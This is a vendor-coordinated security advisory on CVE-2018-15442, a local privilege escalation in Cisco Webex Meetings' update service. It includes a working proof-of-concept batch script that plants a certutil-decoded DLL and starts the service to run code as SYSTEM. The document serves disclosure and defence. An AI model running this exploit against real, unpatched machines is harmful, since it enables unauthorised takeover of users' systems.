1. Advisory Information

Title: Cisco WebEx Meetings Elevation of Privilege Vulnerability
Advisory ID: CORE-2018-0011
Advisory URL: http://www.secureauth.com/labs/advisories/cisco-webex-meetings-elevation-privilege-vulnerability
Date published: 2018-11-27
Date of last update: 2018-11-27
Vendors contacted: Cisco
Release mode: Coordinated release

2. Vulnerability Information

Class: OS command injection [CWE-78]
Impact: Code execution
Remotely Exploitable: No
Locally Exploitable: Yes
CVE Name: CVE-2018-15442

3. Vulnerability Description

Cisco's Webex Meetings website states that [1]:

Cisco Webex Meetings: Simply the Best Video Conferencing and Online Meetings. With Cisco Webex Meetings, joining is a breeze, audio and video are clear, and screen sharing is easier than ever. We help you forget about the technology, to focus on what matters.

A vulnerability in the update service of Cisco Webex Meetings Desktop App for Windows could allow a local attacker to elevate privileges. This vulnerability is related to a previous security issue fixed by Cisco in October.

4. Vulnerable Packages

  • Cisco Webex Meetings Desktop App releases prior to 33.6.4
  • Cisco Webex Productivity Tools releases 32.6.0 and later prior to 33.0.6

5. Vendor Information, Solutions and Workarounds

Cisco released a new fixed version and updated its security notice:

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/c…

6. Credits

This vulnerability was discovered and researched by Marcos Accossatto from SecureAuth Exploits' Writers Team. The publication of this advisory was coordinated by Leandro Cuozzo from SecureAuth Advisories Team.

7. Technical Description / Proof of Concept Code

7.1. Privilege Escalation

[CVE-2018-15442] The update service of Cisco Webex Meetings Desktop App for Windows does not properly validate user-supplied parameters. An unprivileged local attacker could exploit this vulnerability by invoking the update service command with a crafted argument. This will allow the attacker to run arbitrary commands with SYSTEM user privileges.

The vulnerability can be exploited by copying to a local attacker controller folder, the ptUpdate.exe binary. Also, a malicious dll must be placed in the same folder, named wbxtrace.dll. To gain privileges, the attacker must start the service with the command line: sc start webexservice install software-update 1 "attacker-controlled-path" (if the parameter 1 doesn't work, then 2 should be used)

Proof of Concept:

REM Contents of PoC.bat
REM This batch will copy the ptUpdate.exe from the installation folder to the current folder
REM Then it will generate a simple dll that will execute notepad.exe on load. The dll will be created using certutil.exe and named wbxtrace.dll
REM Finally, the webexservice service will be started, with the showed parameters
REM The result should be a notepad.exe with SYSTEM user privileges
@echo off
:CheckOS
IF EXIST "%PROGRAMFILES(X86)%" (GOTO 64BIT) ELSE (GOTO 32BIT)

:64BIT
copy "%PROGRAMFILES(X86)%\Webex\Webex\Applications\ptUpdate.exe" .
GOTO END

:32BIT
copy "%PROGRAMFILES%\Webex\Webex\Applications\ptUpdate.exe" .
GOTO END

:END
echo TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAACVyJXZ0an7itGp+4rRqfuKLYnpitOp+4pftuiK1Kn7ilJpY2jRqfuKAAAAAAAAAABQRQAATAEEALCa5 > dll.txt
echo VsAAAAAAAAAAOAADiELAQUMAAIAAAAGAAAAAAAAABAAAAAQAAAAIAAAAAAAEAAQAAAAAgAABAAAAAQAAAAEAAAAAAAAAABQAAAABAAA3GEAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAABgIAAANQAAAAggAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> dll.txt
echo AAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAnQAAAAAQAAAAAgAAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAAJUAAAAAIAAAAAIAAAAGAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAAAQAAAAADAAAAACAAAACAAAAAAAAAAAAAAAAAAAQAAAwC5yZWxvYwAAGAAAAABAAAA >> dll.txt
echo AAgAAAAoAAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> dll.txt
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> dll.txt
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWL7IPErIN9DAF1NGoAakSNRbxQ6DcAAADHRbxEAAAAjUWsUI1FvFBqAGoAagBqAGoAagBoADAAEGoA6AoAAAC4AQAAAMnCDADM/yUAIAAQVYvsi1UIi0UQi00MwekFg/ >> dll.txt
echo kAdB2JAolCBIlCCIlCDIlCEIlCFIlCGIlCHIPCIEl144NlDB+DfQwAdA6LTQzB6QKJAoPCBEl1+MnCDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> dll.txt
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> dll.txt
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOCAAAAAAAAAwIAAAAAAAAAAAAABKIAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOCAAAAAAAABPAENyZWF0ZVByb2Nlc3NBAABrZXJuZWwzMi5kbGwAAAAAAAAAAAAAAAAAALCa5VsAAAAAiCAAAAEAAAAAAAAAAAAAAIggAACIIAAAiCAAAHNrZWxldG9uL >> dll.txt
echo mRsbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> dll.txt
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABub3RlcGF >> dll.txt
echo kLmV4ZQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> dll.txt
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> dll.txt
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAMAAAANTBMMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> dll.txt
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> dll.txt
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> dll.txt
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> dll.txt

certutil -decode dll.txt wbxtrace.dll

SET mypath=%~dp0
%mypath:~0,-1%

sc start webexservice install software-update 1 %mypath:~0,-1%
sc start webexservice install software-update 2 %mypath:~0,-1%     

8. Report Timeline

  • 2018-11-09: SecureAuth sent an initial notification to the Cisco PSIRT including a draft advisory.
  • 2018-11-09: Cisco acknowledged the vulnerability and replied that they were working on a fix and they were planning to release it within the next two weeks. In addition, Cisco informed that they will update their previous security advisory to mention that the original fix was incomplete and to refer to the new ones fixes.
  • 2018-11-09: SecureAuth thanked the quick response.
  • 2018-11-19: Cisco notified that they will update the advisory on Tuesday 27th.
  • 2018-11-27: Advisory CORE-2018-0011 published.

9. References

[1] https://www.webex.com/products/video-conferencing.html

10. About SecureAuth Labs

SecureAuth Labs, the research arm of SecureAuth Corporation, is charged with anticipating the future needs and requirements for information security technologies. We conduct research in several important areas of computer security, including identity-related attacks, system vulnerabilities and cyber-attack planning. Research includes problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. We regularly publish security advisories, primary research, technical publications, research blogs, project information, and shared software tools for public use at http://www.secureauth.com.

11. About SecureAuth

SecureAuth is leveraged by leading companies, their employees, their customers and their partners to eliminate identity-related breaches. As a leader in access management, identity governance, and penetration testing, SecureAuth is powering an identity security revolution by enabling people and devices to intelligently and adaptively access systems and data, while effectively keeping bad actors from doing harm. By ensuring the continuous assessment of risk and enablement of trust, SecureAuth's highly flexible Identity Security Automation (ISA) platform makes it easier for organizations to prevent the misuse of credentials and exponentially reduce the enterprise threat surface. To learn more, visit www.secureauth.com, call (949) 777-6959, or email us at info@secureauth.com

12. Disclaimer

The contents of this advisory are copyright (c) 2018 SecureAuth, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/